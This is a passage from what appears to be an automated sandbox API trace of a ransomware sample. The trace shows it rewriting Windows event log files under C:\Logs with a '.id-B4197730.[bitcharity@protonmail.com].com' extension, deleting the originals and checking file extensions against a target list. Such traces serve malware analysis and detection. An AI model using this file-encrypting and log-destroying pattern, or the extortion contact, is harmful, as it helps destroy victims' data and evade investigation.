(lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.608] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.608] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.609] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.609] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0144.620] GetLastError () returned 0x0 [0144.620] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.678] WriteFile (in: hFile=0x1090, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.681] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.681] WriteFile (in: hFile=0x1090, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x170, lpOverlapped=0x0) returned 1 [0144.681] SetEndOfFile (hFile=0x1090) returned 1 [0144.682] CloseHandle (hObject=0x1090) returned 1 [0144.685] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.685] SetEndOfFile (hFile=0x10b4) returned 1 [0144.687] CloseHandle (hObject=0x10b4) returned 1 [0144.687] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.688] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0144.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.688] lstrlenW (lpString=".doc") returned 4 [0144.688] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.688] lstrlenW (lpString=".docx") returned 5 [0144.688] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.688] lstrlenW (lpString=".pdf") returned 4 [0144.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.688] lstrlenW (lpString=".xls") returned 4 [0144.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.688] lstrlenW (lpString=".xlsx") returned 5 [0144.688] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.688] lstrlenW (lpString=".ppt") returned 4 [0144.689] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString=".zip") returned 4 [0144.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString=".rar") returned 4 [0144.689] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString=".bz2") returned 4 [0144.689] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString=".7z") returned 3 [0144.689] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString=".dbf") returned 4 [0144.689] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString=".1cd") returned 4 [0144.689] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString=".jpg") returned 4 [0144.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.689] lstrlenW (lpString=".doc") returned 4 [0144.689] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.689] lstrlenW (lpString=".docx") returned 5 [0144.689] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.689] lstrlenW (lpString=".pdf") returned 4 [0144.690] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString=".xls") returned 4 [0144.690] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString=".xlsx") returned 5 [0144.690] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.690] lstrlenW (lpString=".ppt") returned 4 [0144.690] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.690] lstrlenW (lpString=".zip") returned 4 [0144.690] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString=".rar") returned 4 [0144.690] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString=".bz2") returned 4 [0144.690] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString=".7z") returned 3 [0144.690] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.690] lstrlenW (lpString=".dbf") returned 4 [0144.690] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.690] lstrlenW (lpString=".1cd") returned 4 [0144.690] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.690] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0144.690] lstrlenW (lpString=".jpg") returned 4 [0144.690] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.691] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.691] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0144.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.691] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0144.691] CloseHandle (hObject=0x10b4) returned 1 [0144.691] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0144.691] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.691] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.692] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.692] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.692] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0144.749] GetLastError () returned 0x0 [0144.749] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0144.762] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0144.764] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.764] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x134, lpOverlapped=0x0) returned 1 [0144.764] SetEndOfFile (hFile=0x10c4) returned 1 [0144.764] CloseHandle (hObject=0x10c4) returned 1 [0144.766] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.766] SetEndOfFile (hFile=0x10b4) returned 1 [0144.767] CloseHandle (hObject=0x10b4) returned 1 [0144.767] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.768] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0144.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.768] lstrlenW (lpString=".doc") returned 4 [0144.768] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".docx") returned 5 [0144.768] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.768] lstrlenW (lpString=".pdf") returned 4 [0144.768] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".xls") returned 4 [0144.768] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".xlsx") returned 5 [0144.768] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.768] lstrlenW (lpString=".ppt") returned 4 [0144.768] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.768] lstrlenW (lpString=".zip") returned 4 [0144.768] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".rar") returned 4 [0144.768] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".bz2") returned 4 [0144.768] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.768] lstrlenW (lpString=".7z") returned 3 [0144.769] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString=".dbf") returned 4 [0144.769] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString=".1cd") returned 4 [0144.769] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString=".jpg") returned 4 [0144.769] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString=".doc") returned 4 [0144.769] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString=".docx") returned 5 [0144.769] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0144.769] lstrlenW (lpString=".pdf") returned 4 [0144.769] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString=".xls") returned 4 [0144.769] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString=".xlsx") returned 5 [0144.769] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0144.769] lstrlenW (lpString=".ppt") returned 4 [0144.769] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0144.769] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.769] lstrlenW (lpString=".zip") returned 4 [0144.770] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0144.770] lstrlenW (lpString=".rar") returned 4 [0144.770] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0144.770] lstrlenW (lpString=".bz2") returned 4 [0144.770] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0144.770] lstrlenW (lpString=".7z") returned 3 [0144.770] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0144.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.770] lstrlenW (lpString=".dbf") returned 4 [0144.770] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0144.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.770] lstrlenW (lpString=".1cd") returned 4 [0144.770] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0144.770] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0144.770] lstrlenW (lpString=".jpg") returned 4 [0144.770] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0144.770] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0144.770] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0144.770] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.770] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0144.770] CloseHandle (hObject=0x10b4) returned 1 [0144.770] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0144.771] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.771] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0144.771] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.771] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.771] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0144.771] GetLastError () returned 0x0 [0144.771] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.035] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.038] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.038] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x146, lpOverlapped=0x0) returned 1 [0145.038] SetEndOfFile (hFile=0x10c4) returned 1 [0145.038] CloseHandle (hObject=0x10c4) returned 1 [0145.040] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.041] SetEndOfFile (hFile=0x10b4) returned 1 [0145.042] CloseHandle (hObject=0x10b4) returned 1 [0145.045] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.046] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0145.046] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.046] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.046] lstrlenW (lpString=".doc") returned 4 [0145.046] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.046] lstrlenW (lpString=".docx") returned 5 [0145.046] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.046] lstrlenW (lpString=".pdf") returned 4 [0145.046] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.046] lstrlenW (lpString=".xls") returned 4 [0145.046] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.046] lstrlenW (lpString=".xlsx") returned 5 [0145.047] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.047] lstrlenW (lpString=".ppt") returned 4 [0145.047] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString=".zip") returned 4 [0145.047] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString=".rar") returned 4 [0145.047] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString=".bz2") returned 4 [0145.047] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString=".7z") returned 3 [0145.047] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString=".dbf") returned 4 [0145.047] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString=".1cd") returned 4 [0145.047] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString=".jpg") returned 4 [0145.047] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.047] lstrlenW (lpString=".doc") returned 4 [0145.047] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.047] lstrlenW (lpString=".docx") returned 5 [0145.048] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.048] lstrlenW (lpString=".pdf") returned 4 [0145.048] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString=".xls") returned 4 [0145.048] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString=".xlsx") returned 5 [0145.048] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.048] lstrlenW (lpString=".ppt") returned 4 [0145.048] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.048] lstrlenW (lpString=".zip") returned 4 [0145.048] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString=".rar") returned 4 [0145.048] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString=".bz2") returned 4 [0145.048] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.048] lstrlenW (lpString=".7z") returned 3 [0145.049] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.049] lstrlenW (lpString=".dbf") returned 4 [0145.049] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.049] lstrlenW (lpString=".1cd") returned 4 [0145.049] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.049] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0145.049] lstrlenW (lpString=".jpg") returned 4 [0145.049] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.049] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.049] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0145.049] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.050] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0145.050] CloseHandle (hObject=0x10b4) returned 1 [0145.050] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0145.050] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.050] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0145.050] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.050] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.050] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), 